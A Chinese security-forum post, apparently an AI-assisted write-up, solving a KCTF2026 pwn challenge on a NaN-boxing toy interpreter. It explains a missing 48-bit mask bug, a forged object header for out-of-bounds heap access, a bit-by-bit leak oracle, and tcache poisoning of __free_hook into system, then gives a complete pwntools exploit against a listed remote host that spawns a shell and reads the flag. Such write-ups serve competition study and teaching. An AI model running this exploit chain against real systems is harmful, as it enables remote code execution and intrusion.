首页
社区
课程
招聘
[原创]KCTF2026 -第十题:卯时·曦光初现 题解(AI)
发表于: 3天前 118

[原创]KCTF2026 -第十题:卯时·曦光初现 题解(AI)

3天前
118

一个 C++ 写的 NaN-boxing 玩具解释器(glibc 2.27,PIE / Full RELRO / NX / Canary)。
唯一漏洞:BinOp 的运算结果不做 48 位截断,可以在 env 槽里造出任意 64 位值(尤其
0x1337 对象句柄 tag 与 0xBEEF 对象头值)。据此伪造一个超长对象头拿到前向任意堆读写
泄露 key/arena/libc,再做 tcache 0x20 fd 投毒__free_hook 改成 system,最后用一条
精心控制大小的输入行触发 system("/bin/sh") 拿 shell 读旗。

题目没有任何打印数值的功能,全部泄露都靠一个 1-bit oracle(某条命令成功/runtime error!/
invalid syntax!)逐位读出。

BinOp_eval 是唯一不给结果做 48 位 mask 的路径,因此可以拼出任意高 16 位:

其余路径(数字 48 位 mask、头/叶 key XOR、各级严格边界检查)都很紧,堵死了其它入口。

图片描述

图 1 — 漏洞本体(BinOp_eval @ 0x30DE)。 除了两个操作数下标的 <= 0xFF
校验和「操作数当前不能已是 0x1337 句柄」外,8 个运算分支(case 0..7)都把结果
v7 op v5 原样写回 *v6,全程没有 & 0xFFFFFFFFFFFF 的 48 位截断 —— 而其它每一条
求值路径都做了截断。于是可以在 env 槽里凑出任意高 16 位,造出 0x1337<<48 假句柄与
0xBEEF<<48 假对象头。

建一个真对象 $0=[0,0],用 BinOp 造出 hdr = 0xBEEF<<48 | 0x6000SetField 把它写进
$0 的第 0 个叶子。这样 $0[0] 就被当成一个长度 0x6000 的嵌套对象
$0[0][k] 即可读写 arena + 16 + 8*k(k < 0x6000,覆盖 arena+16 .. arena+0x30010)。

图片描述

图 2 — 伪造头为什么能拿到前向 OOB(GetField_eval @ 0x36E6)。 解引用一个
「对象」时:① 值高 16 位 == 0x1337 才当句柄;② 取低 48 位直接当 arena 内堆指针,
不再做范围校验
;③ 用全局 key(qword_206AB0)异或堆头解密;④ 解出的头高 16 位必须
== 0xBEEF;⑤ 下标只跟头里自带的 nchildren 比。既然 ②/⑤ 完全信任「头」里的内容,
而头又是我们用漏洞伪造的 0xBEEF<<48 | 0x6000$0[0][k] 就成了以 arena 为基址、
长度 0x6000 的前向任意读写原语。

所有 48/64 位数值都用 纯 BinOp 位 oracle 逐位读出((v>>i)&1 造成 0x1337 tag,
再让一条 BinOp 因右操作数是句柄而 runtime error → 该位为 1)。这条路径不分配 0x20 堆块,
几乎不搅动 tcache。

图片描述

图 3 — 泄露靠的 1-bit oracle,与触发行大小的来源(main @ 0x2D09)。 题目没有任何
打印数值的功能:每条命令要么静默成功(只回显下一个 > ),要么 runtime error!
(eval 返回 0),要么 invalid syntax!(parse 返回 0)。这三态就是逐位读 key/arena/libc
用的 1-bit oracle。图中 std::string::_M_construct 那行也标出来了 —— 输入行本身会构造成
一个 std::string,它的长度决定 malloc 出 0x20 还是 0x30 的堆块
,正是后文「触发行必须
是 0x30 分配」这个坑的根源。

RCE 走 __free_hook(Full RELRO 打不了 GOT)。因为前向 OOB 只到堆、够不着 libc,
所以用 tcache 投毒让一次 malloc 直接落在 __free_hook

两个决定性坑(这题最难的地方,纯静态想不到,必须动态验证):

15 位下标 = 2-pop,不是 3-pop。
libc 地址十进制恒为 15 位(≤ 0x7fffffffffff),15 字符正好落在 libstdc++ 的
SSO(short string optimization)边界内,不为下标数字分配临时 string。所以单索引攻击
在 0x20 bin 上只有 2 次 pop(pop1=输入行、pop2=index-vector),而不是"下标临时 string
也占一次"的 3-pop。用 ≥16 位的占位大数调试会落进 3-pop 分支,投毒目标算错 —— 这是之前
多次盲打全 miss 的第一个根因。

触发行必须是 0x30 分配,不能是 0x20。
攻击把 A4 = __free_hook 写成 system 后,A4 在命令收尾被 free 回 tcache,
于是 __free_hook 正好位于 0x20 bin 的链头。若触发行是 16 字符(0x20 分配),
它的输入 std::stringmalloc 一个 0x20 chunk,正好把 __free_hook pop 出来当缓冲
"/bin/sh" 字节覆盖掉刚写进去的 system → free 时跳到 /bin/sh 这个地址 → 崩溃。
改用 24–39 字符的 0x30 分配行(本 exp 用 /bin/sh # + 22×A = 31 字符),
它的 malloc 不碰 0x20 链头,__free_hook 保持 system,free 时 system("/bin/sh #...")
# 后是注释)→ 交互 shell。

远程是极简 chroot(无 cat/id/head/grep,只有 ls/bin/sh),
用 dash 内置 read a < flag; echo "$a"./flag 读出。

运行:

flag 每个靶机实例轮换(另一实例为 flag{7d6b4646-578b-43ce-8cbc-2af922298d4e});

$1=0x1337; $2=0x1000000; $1=$1*$2; $1=$1*$2   ->  env[1] = 0x1337<<48   (伪句柄)
$k = 0xBEEF<<48 | len                          ->  伪造的"对象头"
#!/usr/bin/env python3
# 10-pwn — leak -> forward OOB heap R/W -> tcache 0x20 fd poison -> __free_hook=system -> shell.
from pwn import *
import sys, time
HOST='123.57.66.184'; PORT=int(sys.argv[1]) if len(sys.argv)>1 else 10004
context.clear(arch='amd64', log_level='warn')
IO_STDERR=0x3ec680; FREE_HOOK=0x3ed8e8; SYSTEM=0x4f420; K_SELF=8193; K_LIBC=8205; M48=(1<<48)-1
OBJ=0; KEY=200; POW48=240; S1=239; S2=238; ONE=237; TWO=236; BEEFHI=235; P2=234; TT=233; C1337=232; ZNUM=231
FAKELEN=0x6000; POISON_OFF=0x102d0            # k=(0x102d0-16)/8=8280

class IO:
    def __init__(self):
        self.r=remote(HOST,PORT,timeout=15); self.r.recvuntil(b'> '); self.q=[]; self.marks=[]
    def push(self,line,mark=False):
        if isinstance(line,str): line=line.encode()
        if mark: self.marks.append(len(self.q))
        self.q.append(line)
    def flush(self):
        if not self.q: return []
        n=len(self.q); self.r.send(b'\n'.join(self.q)+b'\n'); buf=b''
        while buf.count(b'> ')<n:
            c=self.r.recv(timeout=15)
            if not c: break
            buf+=c
        segs=buf.split(b'> '); st=[]
        for i in range(n):
            seg=segs[i] if i<len(segs) else b''
            st.append('err' if b'runtime error' in seg else 'inv' if b'invalid syntax' in seg else 'ok')
        res=[st[i] for i in self.marks]; self.q=[]; self.marks=[]; return res

def setup_consts(io):
    io.push('$%d=16777216'%POW48); io.push('$%d=16777216'%S1); io.push('$%d*$%d'%(POW48,S1))
    io.push('$%d=1'%ONE); io.push('$%d=2'%TWO); io.push('$%d=48879'%BEEFHI); io.push('$%d*$%d'%(BEEFHI,POW48))
    io.push('$%d=4919'%C1337); io.push('$%d=1'%ZNUM)
def setnum(io,slot,value):
    value&=(1<<64)-1; low=value&M48; high=(value>>48)&0xffff; io.push('$%d=%d'%(slot,low))
    if high: io.push('$%d=%d'%(S2,high)); io.push('$%d*$%d'%(S2,POW48)); io.push('$%d|$%d'%(slot,S2))
def mk_fake_header(io,length=FAKELEN):
    io.push('$%d=[0,0]'%OBJ); setnum(io,10,(0xBEEF<<48)|length); io.push('$%d[0]=$10'%OBJ,mark=True)
def addr2k(arena,addr): assert (addr-arena-16)%8==0; return (addr-arena-16)//8
def oob_read(io,k,dst):  io.push('$%d=$%d[0][%d]'%(dst,OBJ,k),mark=True)
def oob_write(io,k,src): io.push('$%d[0][%d]=$%d'%(OBJ,k,src),mark=True)
def _bit(io,slot,i):
    io.push('$%d=$%d'%(TT,slot)); io.push('$%d/$%d'%(TT,P2)); io.push('$%d&$%d'%(TT,ONE))
    io.push('$%d*$%d'%(TT,C1337)); io.push('$%d*$%d'%(TT,POW48)); io.push('$%d+$%d'%(ZNUM,TT),mark=True); io.push('$%d*$%d'%(P2,TWO))
def leak(io,slots,nbits=64):
    for s in slots:
        io.push('$%d=1'%P2)
        for i in range(nbits): _bit(io,s,i)
    st=io.flush(); out=[]
    for j in range(len(slots)):
        v=0
        for i in range(nbits):
            if st[j*nbits+i]=='err': v|=(1<<i)
        out.append(v)
    return out

class Ctx:
    def __init__(self):
        self.io=IO(); setup_consts(self.io); mk_fake_header(self.io,FAKELEN)
        oob_read(self.io,1,KEY); oob_read(self.io,K_SELF,50); oob_read(self.io,K_LIBC,51); self.io.flush()
        self.key=leak(self.io,[KEY])[0]
        sp=leak(self.io,[50],48)[0]; lp=leak(self.io,[51],48)[0]
        self.arena=((sp^self.key)&M48)-0x10000; self.libc=((lp^self.key)&M48)-IO_STDERR
        self.ok=(self.libc&0xfff)==0 and (self.arena&0xfff)==0x010
    def A(self,off): return self.arena+off
    def L(self,off): return self.libc+off
    def write1(self,addr,R):
        setnum(self.io,70,(self.key^R)&((1<<64)-1)); oob_write(self.io,addr2k(self.arena,addr),70); self.io.flush()

def exploit():
    for _ in range(3):
        c=Ctx()
        if c.ok: break
        c.io.r.close()
    else: log.failure('no clean leak'); return
    system=c.L(SYSTEM); fh=c.L(FREE_HOOK)
    print('[*] arena=%#x libc=%#x system=%d(%d digits)'%(c.arena,c.libc,system,len(str(system))))
    c.write1(c.A(POISON_OFF), fh)                                   # 1) poison fd = __free_hook
    c.io.r.send(('$4=$0[%d]'%system).encode()+b'\n'); time.sleep(0.2)  # 2) *__free_hook = system
    c.io.r.send(b'/bin/sh #'+b'A'*22+b'\n'); time.sleep(0.3)        # 3) 0x30 trigger -> system("/bin/sh")
    c.io.r.send(b'echo PWNED_$((6*7))\n'); time.sleep(0.3)
    if b'PWNED_42' not in c.io.r.recv(timeout=3): log.failure('no shell'); return
    print('[+] shell')
    c.io.r.send(b'read a < flag; echo "FLAG=$a"\n'); time.sleep(0.6)
    for line in c.io.r.recv(timeout=4).decode('latin1','replace').splitlines():
        if 'flag{' in line: print('[+] '+line.strip())
    c.io.r.interactive()

if __name__=='__main__': exploit()

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回